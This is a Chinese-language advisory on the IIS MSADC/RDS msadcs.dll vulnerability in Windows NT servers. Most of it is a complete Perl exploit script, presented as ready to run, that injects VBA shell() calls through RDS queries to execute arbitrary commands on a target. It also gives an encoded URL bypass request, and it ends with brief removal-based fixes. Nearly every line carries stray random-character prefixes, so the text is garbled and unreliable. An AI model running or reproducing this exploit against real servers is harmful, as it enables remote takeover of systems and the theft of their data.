IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
>=K~*$&> #3}!Q0 涉及程序：
yi:1cLq2 Microsoft NT server
1k!$#1d< =;{ 8)m 描述：
D!rD-e 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ge|Cv v rYO ~/N 详细：
vRMGNz_P7[ 如果你没有时间读详细内容的话，就删除:
Nn{/ _QG c:\Program Files\Common Files\System\Msadc\msadcs.dll
) ^ 7- qy 有关的安全问题就没有了。
_#y=T20'3 L*zf Z& 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
H,Yrk(O- UHS{X~CS
e 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
p+} eP|N 关于利用ODBC远程漏洞的描述，请参看:
o+g\\5s i Jb-F*_y http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >2ny/AK| ZN}U^9m= 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
bo[[<j!"I http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8V@\$4@b!# L8?;A9pc() 这里不再论述。
plgiQr # pG P $2 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
u& < NBxY C
j: /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
'tY y_ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
,~>u<Wc!S Bxk2P<d ofuQ`g1hb #将下面这段保存为txt文件，然后: "perl -x 文件名"
4?Qc&e{5 }*,z~y}V#
#!perl
PJ2m4ulY #
7-MyiCt # MSADC/RDS 'usage' (aka exploit) script
kk ZMoK #
bYwe/ sR # by rain.forest.puppy
_Kg"l5?B #
qkD9xFp # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
)TOKHN # beta test and find errors!
'Ooq.jaK;/ #K\;)z(? use Socket; use Getopt::Std;
\
m g getopts("e:vd:h:XR", \%args);
@!mjjeG+1 kY#sQz}8 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
>=YQxm}GJ b X4]/4% if (!defined $args{h} && !defined $args{R}) {
lB(P+yY,/' print qq~
YzYj/,?r Usage: msadc.pl -h <host> { -d <delay> -X -v }
/Y8{? -h <host> = host you want to scan (ip or domain)
0pA> w8 mh -d <seconds> = delay between calls, default 1 second
B+lnxr0t -X = dump Index Server path table, if available
gsVm)mkd -v = verbose
[-h=L
Jf# -e = external dictionary file for step 5
M7c53fz .83z = Or a -R will resume a command session
5Eu`1f? EHda ~; exit;}
seA=7c5E /OeOL3Y $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
:s# & nY if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
YQaL)t$0 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
%kL ]-Z if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
\=
Wrh3 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
w
C-x' if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
tNYCyw{K c1 h?aP if (!defined $args{R}){ $ret = &has_msadc;
crU]P $a die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
:JCe,1!3@ ]lA.? print "Please type the NT commandline you want to run (cmd /c assumed):\n"
.1h1J . "cmd /c ";
M3YC@(N% k $in=<STDIN>; chomp $in;
"2GssBa $command="cmd /c " . $in ;
pF7S("#R E[ tEW0ub if (defined $args{R}) {&load; exit;}
J"
U!j o_?A^ u print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
-bp7X{& &try_btcustmr;
6mC% zXR5 0]2@T=*kTY print "\nStep 2: Trying to make our own DSN...";
*7K)J8kq &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
vR'rYDtU@ ju(QSZ|; print "\nStep 3: Trying known DSNs...";
`:5W 1D( &known_dsn;
HfA@tZ5q|U U_Am Riy print "\nStep 4: Trying known .mdbs...";
:{x
&known_mdb;
MXynv";<H z5 :53,`D' if (defined $args{e}){
xB,(!0{` print "\nStep 5: Trying dictionary of DSN names...";
ci`N ,&:R &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
^spASG -o ;{ESo?$* print "Sorry Charley...maybe next time?\n";
-](3iPy} exit;
WxS$yUu N>',[4pJ| ##############################################################################
$GX9-^og=T B2)SNhF2Y sub sendraw { # ripped and modded from whisker
GKf%dK L sleep($delay); # it's a DoS on the server! At least on mine...
tkf^sGgNO my ($pstr)=@_;
,dSP%?vV socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
U\UlQ p? die("Socket problems\n");
kcZz WG|n if(connect(S,pack "SnA4x8",2,80,$target)){
X XC(R select(S); $|=1;
z[De?8=) print $pstr; my @in=<S>;
RyZy2^0< select(STDOUT); close(S);
EALgBv>#ZL return @in;
T<~?7-O" } else { die("Can't connect...\n"); }}
)U:W
9% <9aa@c57 ##############################################################################
CYN")J8V _rfGn,@BH sub make_header { # make the HTTP request
j(]; b+> my $msadc=<<EOT
mW_ N-z POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
;09U*S$eK User-Agent: ACTIVEDATA
gIcm`5+T Host: $ip
gBJM|"_A? Content-Length: $clen
K)TMr" j\ Connection: Keep-Alive
8aa`0X/6 #H&`wMZZ: ADCClientVersion:01.06
2[Vs@ X Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
^26} 8vt btv.M --!ADM!ROX!YOUR!WORLD!
xJF}6yPm@ Content-Type: application/x-varg
'Y:ZWac, Content-Length: $reqlen
nVv=smVOt KmaMS(A(3 EOT
_kJW/3eE ; $msadc=~s/\n/\r\n/g;
Bey|f/
< return $msadc;}
1|3{.E d WcKL=Z?( ##############################################################################
ys Td'J t^(wbC sub make_req { # make the RDS request
^.(i!BG' my ($switch, $p1, $p2)=@_;
V"Y -|R my $req=""; my $t1, $t2, $query, $dsn;
^RE("'+ w $z ]Z- if ($switch==1){ # this is the btcustmr.mdb query
L(\o66a-rV $query="Select * from Customers where City=" . make_shell();
bs\7 juHt $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
OjBg$f~0F $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
E~'QC > e9xM Gv elsif ($switch==2){ # this is general make table query
gukKa $query="create table AZZ (B int, C varchar(10))";
i")ucrf $dsn="$p1";}
3NxwQ,~ h-=lZ~W~ elsif ($switch==3){ # this is general exploit table query
t.= 1<Ed $query="select * from AZZ where C=" . make_shell();
9e'9$-z $dsn="$p1";}
J? 84WS `HJRXoLySW elsif ($switch==4){ # attempt to hork file info from index server
J G3#(DVc; $query="select path from scope()";
~ 6O<5@k $dsn="Provider=MSIDXS;";}
U+'h~P '4 e$=0.GWT elsif ($switch==5){ # bad query
t+m
ug $query="select";
%TA@-tK= $dsn="$p1";}
`=VN\W^& $C~OV@I $t1= make_unicode($query);
x /xd $t2= make_unicode($dsn);
;_?RPWZ;MO $req = "\x02\x00\x03\x00";
o+
0"@B $req.= "\x08\x00" . pack ("S1", length($t1));
LSW1,} /B $req.= "\x00\x00" . $t1 ;
+6+!M_0wA $req.= "\x08\x00" . pack ("S1", length($t2));
_!?iiO $req.= "\x00\x00" . $t2 ;
ucgp=bye $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
"[p-Iy1 return $req;}
\1cJ?/$_Of DW.vu%j^[ ##############################################################################
{G(N vf,K] 6A*k sub make_shell { # this makes the shell() statement
vILq5iR return "'|shell(\"$command\")|'";}
T{Y;-m @>SirYh ##############################################################################
o@blvW<v7 ;&MI
M`&$ sub make_unicode { # quick little function to convert to unicode
WwYy[3U my ($in)=@_; my $out;
| XoW
Z,K for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
f C^POLn[f return $out;}
!;~6nYY nK;c@!~pS ##############################################################################
E G3?C 92)e/t iP sub rdo_success { # checks for RDO return success (this is kludge)
@?\[M9yK my (@in) = @_; my $base=content_start(@in);
=}7[ypQM`] if($in[$base]=~/multipart\/mixed/){
mu#
a return 1 if( $in[$base+10]=~/^\x09\x00/ );}
(_$'e%G0 return 0;}
E4dN,^_ F! H:>i:\J/M9 ##############################################################################
1.y|bB+kB K`#bLCXEV0 sub make_dsn { # this makes a DSN for us
N)N\iad^ my @drives=("c","d","e","f");
y:+4- 1 print "\nMaking DSN: ";
s6| S#
foreach $drive (@drives) {
y?*4SLy print "$drive: ";
|ZuS"'3_w my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
XlHt(d0h "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
_"R /k`8 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
%`1 p 8>n $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
tsvh/)V return 0 if $2 eq "404"; # not found/doesn't exist
\ C.s%m if($2 eq "200") {
w5tcO%+k1 foreach $line (@results) {
qKL
mL2O return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
v"N%w1`.e } return 0;}
qL?`l;+ \OX;ZVb?5 ##############################################################################
fNTe_akp eJ
O+ MurO sub verify_exists {
T Do!yQ my ($page)=@_;
oUG!=.1}K5 my @results=sendraw("GET $page HTTP/1.0\n\n");
`X ;2lgL return $results[0];}
k1)=xv#S N5\]VCX ##############################################################################
@XR N#_{ 7C"&f *lEi sub try_btcustmr {
J5 2- qR/ my @drives=("c","d","e","f");
` $ N()P my @dirs=("winnt","winnt35","winnt351","win","windows");
&q0s8'qA 98x&2(N foreach $dir (@dirs) {
>p;cbp[ht print "$dir -> "; # fun status so you can see progress
jdWA)N}kDG foreach $drive (@drives) {
d Z"w2ho print "$drive: "; # ditto
1 /dy@' $reqlen=length( make_req(1,$drive,$dir) ) - 28;
"ABg,^jf $reqlenlen=length( "$reqlen" );
MmPLJ $clen= 206 + $reqlenlen + $reqlen;
(^4V]N& heN?lmC my @results=sendraw(make_header() . make_req(1,$drive,$dir));
5h6c W if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
y-i6 StJ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
m/( f?M l >wOqV!0< ##############################################################################
e qzmEg @0{vA\ sub odbc_error {
=2rkaBF C my (@in)=@_; my $base;
F T/STI my $base = content_start(@in);
6) _sv tg if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
PH]/*LEj $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0M_~@E*& $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jj$D6f/mOG $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7g&"clRGO return $in[$base+4].$in[$base+5].$in[$base+6];}
oP CtLz}z print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
-cqR]' u print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
9p{7 x[ C $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
"Smek #l d nW #" ##############################################################################
R%\K<#^\ ^<
o"3? sub verbose {
6Yu&'[?H$ my ($in)=@_;
-0 o1iU7 return if !$verbose;
ap y#8] print STDOUT "\n$in\n";}
XD= p:Ezh 'l7ey3 B% ##############################################################################
zF-R$_]av Y)oF;ko: sub save {
NplWF\5y my ($p1, $p2, $p3, $p4)=@_;
.lt|$[" open(OUT, ">rds.save") || print "Problem saving parameters...\n";
2LqJ.HH print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
B
!}/4 " close OUT;}
oFC]L1HN& :,'yHVG\ ##############################################################################
]W9 {<+& aIXN wnq sub load {
> q !:* my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ZP}NFh%,u open(IN,"<rds.save") || die("Couldn't open rds.save\n");
b|KlWt' @p=<IN>; close(IN);
f0 d*% $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
n B .?=eUa $target= inet_aton($ip) || die("inet_aton problems");
< bbC &O\ print "Resuming to $ip ...";
TyG;BF|rwk $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
UcI;(Va if($p[1]==1) {
b|'{f ? $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
v:7_ZD6kR
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
k=D}i\F8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
~As/cd>9 if (rdo_success(@results)){print "Success!\n";}
,N`cH \ else { print "failed\n"; verbose(odbc_error(@results));}}
e*?@ 6E elsif ($p[1]==3){
eF%>5 if(run_query("$p[3]")){
cFF'ygJ/ print "Success!\n";} else { print "failed\n"; }}
+IkL=/';# elsif ($p[1]==4){
) ]
C"r_ if(run_query($drvst . "$p[3]")){
d e<T5/ print "Success!\n"; } else { print "failed\n"; }}
]b6g Z< exit;}
3 J !J# KdTDBC ##############################################################################
% c"t` nA)KRCi sub create_table {
LZ 3PQL my ($in)=@_;
a58]#L~ $reqlen=length( make_req(2,$in,"") ) - 28;
$YztLcn $reqlenlen=length( "$reqlen" );
B6 5" jy $clen= 206 + $reqlenlen + $reqlen;
k`u.:C& my @results=sendraw(make_header() . make_req(2,$in,""));
ObyF~j}j return 1 if rdo_success(@results);
_ \LP P_ my $temp= odbc_error(@results); verbose($temp);
t 8,VR FV return 1 if $temp=~/Table 'AZZ' already exists/;
4/J"} S return 0;}
lv=rL =(cfo _B@K ##############################################################################
?[z@R4at %m5 &Y01
sub known_dsn {
#x|IEjoa # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7~2c"WE my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
E-?@9!2
& "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
5%K(t Rc| "banner", "banners", "ads", "ADCDemo", "ADCTest");
ucwUeRw, JMVh\($,x foreach $dSn (@dsns) {
]qPrXuS/ print ".";
J7Y lmi next if (!is_access("DSN=$dSn"));
Bl1^\[# if(create_table("DSN=$dSn")){
4u}jkd$]* print "$dSn successful\n";
W0qn$H if(run_query("DSN=$dSn")){
> 5c38D7k) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?Zv>4+Y' print "Something's borked. Use verbose next time\n";}}} print "\n";}
["7]EW\!: X7Z=@d( ##############################################################################
lV ra&5 :|PI_
$4H sub is_access {
.wvgH i my ($in)=@_;
mDX
UF~G[ $reqlen=length( make_req(5,$in,"") ) - 28;
*:tfz*FG$G $reqlenlen=length( "$reqlen" );
*Al`QEW $clen= 206 + $reqlenlen + $reqlen;
Q@aDa 8Z my @results=sendraw(make_header() . make_req(5,$in,""));
t[=teB v< my $temp= odbc_error(@results);
ul!e!^qwx verbose($temp); return 1 if ($temp=~/Microsoft Access/);
^EF VjGM return 0;}
fB "It~ p |Zm'! -_ ##############################################################################
JuM4Njz| [+.P'6/[$R sub run_query {
}h=}!R'm my ($in)=@_;
c)B
<d# $reqlen=length( make_req(3,$in,"") ) - 28;
9JBVG~m+ $reqlenlen=length( "$reqlen" );
|: b !e $clen= 206 + $reqlenlen + $reqlen;
> uy(N my @results=sendraw(make_header() . make_req(3,$in,""));
>'g>CD! return 1 if rdo_success(@results);
<R.Ipyt. my $temp= odbc_error(@results); verbose($temp);
2}xvM"k=k return 0;}
h'|J$ =OR "Bd:O
##############################################################################
Dxp.b$0t *h)|K s sub known_mdb {
m&{%6 my @drives=("c","d","e","f","g");
A=bBI>GEYP my @dirs=("winnt","winnt35","winnt351","win","windows");
{O"N2W my $dir, $drive, $mdb;
=Eb4Iyz my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
& T&>4I!'M kB3@ ;z: # this is sparse, because I don't know of many
O&@pi-=o my @sysmdbs=( "\\catroot\\icatalog.mdb",
,WgEl 4 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
qx2M"uFJ "\\system32\\certmdb.mdb",
7rSads "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
6 ~.{~+Bd S*w; $`Y my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
>4iVVs "\\cfusion\\cfapps\\forums\\forums_.mdb",
_s X@BE "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
JK9 J;c#T "\\cfusion\\cfapps\\security\\realm_.mdb",
GS&iSjw "\\cfusion\\cfapps\\security\\data\\realm.mdb",
,cCBAO ueO "\\cfusion\\database\\cfexamples.mdb",
)FSa]1t;x "\\cfusion\\database\\cfsnippets.mdb",
['JIMcD "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
c6~<vV'} "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
n1r'Y;G "\\cfusion\\brighttiger\\database\\cleam.mdb",
R!y`p :O
C "\\cfusion\\database\\smpolicy.mdb",
ka?EXF: "\\cfusion\\database\cypress.mdb",
j &w4yY "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
o|bm=&f "\\website\\cgi-win\\dbsample.mdb",
FQqk+P! "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
V PaW-o "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
rPXy(d1<`S ); #these are just
SEXmVFsQ foreach $drive (@drives) {
[iGL~RiXtn foreach $dir (@dirs){
>))K%\p
foreach $mdb (@sysmdbs) {
(y!V0iy] print ".";
L7OFZ|gUz if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
kS1?%E,)q print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
<BX'Owbs!O if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
U])$#/ v
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
vHM,_I{ } else { print "Something's borked. Use verbose next time\n"; }}}}}
s~n@|m9k ^udl&> foreach $drive (@drives) {
-&QTy foreach $mdb (@mdbs) {
pWOK~=t print ".";
5Zy%Nam'gN if(create_table($drv . $drive . $dir . $mdb)){
+XoY@|Djd print "\n" . $drive . $dir . $mdb . " successful\n";
=kDh: &u% if(run_query($drv . $drive . $dir . $mdb)){
+Vw]DLWR print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
eYD -8* } else { print "Something's borked. Use verbose next time\n"; }}}}
6O|
rI>D }
CA]u3bf~ 2k W*Z7@D ##############################################################################
A|
s\5"?? Y@ 2v/O,\ sub hork_idx {
;Yu|LaI\<m print "\nAttempting to dump Index Server tables...\n";
,ocAB;K print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
i>{.Y}; $reqlen=length( make_req(4,"","") ) - 28;
[|tl Tk $reqlenlen=length( "$reqlen" );
DM=`h yf(v $clen= 206 + $reqlenlen + $reqlen;
(Q[(] dfc my @results=sendraw2(make_header() . make_req(4,"",""));
A?4s+A@Eg if (rdo_success(@results)){
,}a'h4C my $max=@results; my $c; my %d;
&b9bb{y_$K for($c=19; $c<$max; $c++){
x't@M c $results[$c]=~s/\x00//g;
_qvzZ6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Sgq" 3(+%, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
|DkK7gw $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:7[4wQD t4 $d{"$1$2"}="";}
f < pJ_ foreach $c (keys %d){ print "$c\n"; }
r O-=):2 } else {print "Index server doesn't seem to be installed.\n"; }}
K_o[m!:jU u5rHQA0% ##############################################################################
YlJ_$Q[ Ngw/H )<c sub dsn_dict {
~U+W4%f8 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
RhD while(<IN>){
z# Db~ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
|"i"8~/@< next if (!is_access("DSN=$dSn"));
0@/C 5 v if(create_table("DSN=$dSn")){
nNpXkI : print "$dSn successful\n";
't n-o if(run_query("DSN=$dSn")){
UoOxGo print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<RJ+f- print "Something's borked. Use verbose next time\n";}}}
(,;4f7\ print "\n"; close(IN);}
P\{ }yd 8[L]w^ ##############################################################################
q"Th\? }% 6L, "gF<n sub sendraw2 { # ripped and modded from whisker
H{ I,m- sleep($delay); # it's a DoS on the server! At least on mine...
Y[. f`Ei2 my ($pstr)=@_;
|oX1 J<LM socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
o[B"J96b die("Socket problems\n");
O~4Q :#^c if(connect(S,pack "SnA4x8",2,80,$target)){
*yqke<o9) print "Connected. Getting data";
Mt\.?V: open(OUT,">raw.out"); my @in;
`9mc+ select(S); $|=1; print $pstr;
3_N1y while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
k~IRds@G close(OUT); select(STDOUT); close(S); return @in;
1BOv|xPjZ } else { die("Can't connect...\n"); }}
SdN xSD$Q RW|X h8.O ##############################################################################
rbc7CPq_^ 35n'sVn sub content_start { # this will take in the server headers
9O|k|FD my (@in)=@_; my $c;
]/{iIS_ for ($c=1;$c<500;$c++) {
V @pUU~6R if($in[$c] =~/^\x0d\x0a/){
nQ08(8 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
N4$ K { else { return $c+1; }}}
Ls/*&u return -1;} # it should never get here actually
P asVfC@ C"R}_C|r)* ##############################################################################
&x)n K >9,:i)m_ sub funky {
0S&C[I
o6 my (@in)=@_; my $error=odbc_error(@in);
K96N{"{iI% if($error=~/ADO could not find the specified provider/){
_3zJ .% print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Mk8k,"RG&Z exit;}
9\!=i if($error=~/A Handler is required/){
Rh%C$d( print "\nServer has custom handler filters (they most likely are patched)\n";
Sv t%*j exit;}
n*r Xj{Kt if($error=~/specified Handler has denied Access/){
VYnB&3 %DF print "\nServer has custom handler filters (they most likely are patched)\n";
x{9$4 d exit;}}
,jdTe?[*^ 52.%f+Oa ##############################################################################
zvR;Tl6] iiv`ji sub has_msadc {
C@!b d+ ' my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
m* vz my $base=content_start(@results);
V<Co!2S return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Q=t_m(:0 return 0;}
hp$1c ]e(\<R 6Gf ########################
<$Dj ags,F kJpr:4;@_ UL]zuW/ 解决方案：
@n OuFX4 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
2[i(XG{/ 2、移除web 目录: /msadc
